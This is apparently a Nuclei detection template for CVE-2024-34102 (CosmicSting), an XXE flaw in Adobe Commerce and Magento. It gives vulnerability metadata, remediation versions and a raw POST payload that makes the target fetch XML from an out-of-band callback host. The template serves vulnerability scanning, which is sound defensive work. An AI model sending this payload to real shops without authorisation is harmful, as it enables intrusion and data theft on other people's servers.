CVE-2024-34102: Adobe Commerce & Magento - CosmicSting

id: CVE-2024-34102

info:
  name: Adobe Commerce & Magento - CosmicSting
  author: DhiyaneshDK
  severity: critical
  description: |
    Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution.
  impact: |
    Unauthenticated attackers can exploit XXE to achieve arbitrary code execution on Adobe Commerce and Magento instances.
  remediation: |
    Update Adobe Commerce to version 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, 2.4.4-p9 or later.
  reference:
    - https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md
    - https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-34102
    cwe-id: CWE-611
    epss-score: 0.99994
    epss-percentile: 0.99987
    cpe: cpe:2.3:a:adobe:magento:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="Adobe-Magento"
    product: magento
    vendor: adobe
  tags: cve,cve2024,adobe,magento,xxe,kev,vkev,vuln

http:
  - raw:
      - |
        POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"http://{{interactsh-url}}/xxe.xml","dataIsURL":true,"options":12345678}}}}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(content_type, "application/json")'
          - 'contains_any(body, "log file", "cartId", "no Route")'
          - 'contains(body, "message")'
        condition: and
# digest: 490a0046304402201a03e2625d001b224ce6c9b5e9df17df964e2e02e0ff138af102ebc4559d0eb00220177d62555403602d329b73f957c4d70c9be52c758b6d2bd44e7190a023a29605:922c64590222798bb761d5b6d8e72950

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